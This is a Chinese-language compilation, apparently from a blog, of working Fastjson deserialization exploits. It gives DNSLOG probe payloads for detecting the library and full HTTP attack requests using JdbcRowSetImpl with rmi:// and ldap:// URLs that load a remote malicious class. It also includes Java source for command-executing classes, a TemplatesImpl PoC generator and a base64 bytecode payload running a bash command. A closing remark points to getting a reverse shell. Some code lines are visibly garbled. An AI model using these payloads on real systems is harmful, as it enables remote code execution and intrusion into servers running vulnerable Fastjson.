Fastjson漏洞复现方式整合
1、利用DNSLOG测试Fastjson远程命令执行漏洞
测试Fastjson版本号:1.2.15直接发送用burpsuite发送payload,将dataSourceName改成dnslog获取到的域名。
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://6v0jfv.dnslog.cn ", "autoCommit":true } }

若刷新DNSlog有记录增加,那说明漏洞存在,反之,则不存在。

2、未知目标是否使用 Fastjson ,但站点有原始报错回显
如果站点有原始报错回显,可以用不闭合花括号的方式进行报错回显,报错中往往会有fastjson的字样

java.net.InetAddress虽然被禁止了,但是依然可以使用如下两个payload探测后端是否是fastjson,而且无需开启autotype
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
其他畸形的:
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0
3、无回显,盲区分 Fastjson 和 Jackson
可以通过DNS回显的方式检测后端是否使用Fastjson
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0
Java 系 Json 处理基本只有 Fastjson 和 Jackson。
由于 Jackson 相对比较严格, 这里可以很好分辨出 Fastjson 和 Jackson
如果请求包中的 json 如下:
{"name":"S", "age":21}
追加一个随机 key ,修改 json 为
{"name":"S", "age":21,"agsbdkjada__ss_d":123}
这里 Fastjson 是不会报错的, Jackson 因为强制 key 与 javabean 属性对齐,只能少不能多 key,
所以会报错,服务器的响应包中多少会有异常回显
Fastjson:

Jackson:

4、FastJson 1.2.48反序列化漏洞利用总结
漏洞版本 fastjson < 1.2.48
漏洞利用
1.使用JNDI配合RMI or LDAP二阶注入
恶意类ExportObject.class示例
import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; public class ExportObject { public ExportObject() throws Exception { Process p = Runtime.getRuntime().exec("whoamiRMI Payload:"); InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line; while((line = reader.readLine()) != null) { System.out.println(line); } p.waitFor(); is.close(); reader.close(); p.destroy(); } public static void main(String[] args) throws Exception { } }
RMI Payload:
POST /fastjson/ HTTP/1.1 Host: 小生观察室 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Content-Type:application/json Accept-Encoding: gzip, deflate Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6 Cookie: JSESSIONID=D1gPM88rMDIA-n-pCtKwlFFiNS6ewwWI5-qkkJ5NcDRbOIIZGq86!-1979873897; ADMINCONSOLESESSION=qSw5juzv7xUGgOuNnbggvJ3IJrfojbJ8OnY3UHy3Jodnrj3Sf-uV!-1384968761 Connection: close Content-Length: 127 { "name":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "x":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://ip:port/ExportObject", "autoCommit":true } }
LDAP Payload:
POST /fastjson/ HTTP/1.1 Host: 小生观察室 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Content-Type:application/json Accept-Encoding: gzip, deflate Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6 Cookie: JSESSIONID=D1gPM88rMDIA-n-pCtKwlFFiNS6ewwWI5-qkkJ5NcDRbOIIZGq86!-1979873897; ADMINCONSOLESESSION=qSw5juzv7xUGgOuNnbggvJ3IJrfojbJ8OnY3UHy3Jodnrj3Sf-uV!-1384968761 Connection: close Content-Length: 118 { "name":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "x":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://ip:port/ExportObject", "autoCommit":true } }
注:你要执行的命令最好使用JavaRuntime编码,尤其是复杂命令使用JNDI二阶注入,注意JDK版本对于RMI和LDAP协议的修复
2.使用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
利用条件: 目标网站使用fastjson库解析json 1.2.22 <= fastjson < 1.2.48,因为fastjson从1.2.22版本才开始引入SupportNonPublicField 解析时设置了Feature.SupportNonPublicField,否则不支持传入私有属性 目标使用的jdk中存在TemplatesImpl类(),另外不排除有其他不需要TemplatesImpl的利用方法
Test.class
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Test extends AbstractTranslet { public Test() throws IOException { Runtime.getRuntime().exec("whoami"); } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public static void main(String[] args) throws Exception { Test t = new Test(); } }
注:你要执行的命令最好使用JavaRuntime编码,尤其是复杂命令
poc生成代码 Poc.java
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import org.apache.commons.io.IOUtils; import org.apache.commons.codec.binary.Base64; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException; public class Poc { public static String readClass(String cls){ ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); } return Base64.encodeBase64String(bos.toByteArray()); } public static void test_autoTypeDeny() throws Exception { ParserConfig config = new ParserConfig(); final String fileSeparator = System.getProperty("file.separator"); final String evilClassPath = "Test.class"; String evilCode = readClass(evilClassPath); final String NASTY_; String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evilCode+"\"]," + "'_name':'a.b'," + "'_tfactory':{ }," + "\"_outputProperties\":{ }}\n"; System.out.println(text1); Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); } public static void main(String args[]){ try { test_autoTypeDeny(); } catch (Exception e) { } } }
运行poc.java即可生成payload,将生成的payload中_bytecodes取出,拼接到下面的模板中
{ "name":{ "@type":"java.lang.Class", "val":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" }, "x":{ "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes":["your_bytecodes"], '_name':'a.b', '_tfactory':{ }, "_outputProperties":{ } } }
示例payload 弹出文件管理器
POST /fastjson/ HTTP/1.1 Host: 小生观察室 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 Accept: application/json Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close Content-Length: 2377 { "name":{ "@type":"java.lang.Class", "val":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" }, "x":{ "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes":["yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMVGVzdDsBAApFeGNlcHRpb25zBwAsAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAIAAkHAC8MADAAMQEAMWJhc2ggLWMge2VjaG8sYm1GMWRHbHNkWE09fXx7YmFzZTY0LC1kfXx7YmFzaCwtaX0MADIAMwEABFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAACgAEAAsADQAMAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgABAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAAEAAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAAAAAQAXABgAAwABABEAGQACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAFQAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABoAGwACAA8AAAAEAAEAHAAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAYAAgAGQAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA=="], '_name':'a.b', '_tfactory':{ }, "_outputProperties":{ } } }
3.反弹shell
使用三种方式中的一种,只需要注意JavaRunTime编码即可


浙公网安备 33010602011771号